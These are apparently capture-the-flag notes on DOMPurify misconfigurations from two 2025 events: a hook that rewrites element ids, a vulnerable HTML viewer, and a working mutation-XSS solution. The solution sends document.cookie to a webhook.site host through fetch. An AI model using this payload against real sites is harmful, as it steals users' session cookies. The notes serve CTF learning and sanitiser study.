Changing the id standard in beforeSanitizeAttributes addHook can make unitended behaviour, if the id is duplicated it can couse the dompurify didn’t sanitize an attribute

Event Name Cyber Jawara 2025
GitHub URL https://github.com/sksd-id/CJ2025-public
Challenge Name not-so-nice-html-viewer

https://mizu.re/post/exploring-the-dompurify-library-hunting-for-misconfigurations#beforeSanitizeAttributes-manipulation

DOMPurify.addHook("beforeSanitizeAttributes", (node) => {
    if (!(node instanceof Element)) return;

    if (node.id) {
        const id = node.id;
        console.log("id:", id);
        // setAttr.call(node, "id", `${randomHex()}-${id}`);
        node.id = `${randomHex()}-${id}`;
    }

    if (hasAttr.call(node, "class")) {
        const classes = (getAttr.call(node, "class") || "")
            .split(/\s+/)
            .filter(Boolean);
        // if (classes.length) {
        //     const hex = randomHex();
        //     setAttr.call(
        //         node,
        //         "class",
        //         classes.map((cls) => `${hex}-${cls}`).join(" ")
        //     );
        // }
    }
});

Dompurify misconfiguration

Event Name Nowruz 2025
GitHub URL https://github.com/FlagMotori/Nowruz1404/blob/main/web/mintmint/exp/sol.txt
Challenge Name 🌱🌱

<!DOCTYPE html>
<html>
<head>
	<meta charset="utf-8">
	<title>🌱</title>
	<script src="<https://cdnjs.cloudflare.com/ajax/libs/dompurify/3.1.0/purify.min.js>"></script>
</head>
<body>
	<iframe id="xss" style="border: 0;"></iframe>
	<script>
		let p = '🌱'+((new URLSearchParams(location.search)).get('p') ?? '').slice(0,200)
		p = DOMPurify.sanitize(p,{ RETURN_DOM: true }).ownerDocument.documentElement.innerHTML
		xss.src = URL.createObjectURL(new Blob([p], { type: 'text/html;charset=utf-8' }))
	</script>
</body>
</html>

The solution for 🌱🌱 is mxss with transferring a style tag in xhtml namespace to svg namespace + using <![CDATA[ and a comment after body

<script>
let p = encodeURIComponent(`<svg><a><desc><a><table><a></table><style><![CDATA[</style></svg><a id="AA"></body><!-- ]]></svg><img src=1 onerror=eval(top.name)>-->`)

window.open('<http://web/?p='+p,'fetch(`https://webhook.site/xxx?a=`+top.document.cookie)>')
</script>

Basically the bug isn't in dompurify but incorrect usage of dompurify ( that comment is the key to exploit ). I couldn't exploit this "incorrect usage" in the latest version due to hardenings in dompurify so I downgraded it.

Dompurify misconfiguration

Event Name Nowruz 2025
GitHub URL -
Challenge Name 🌱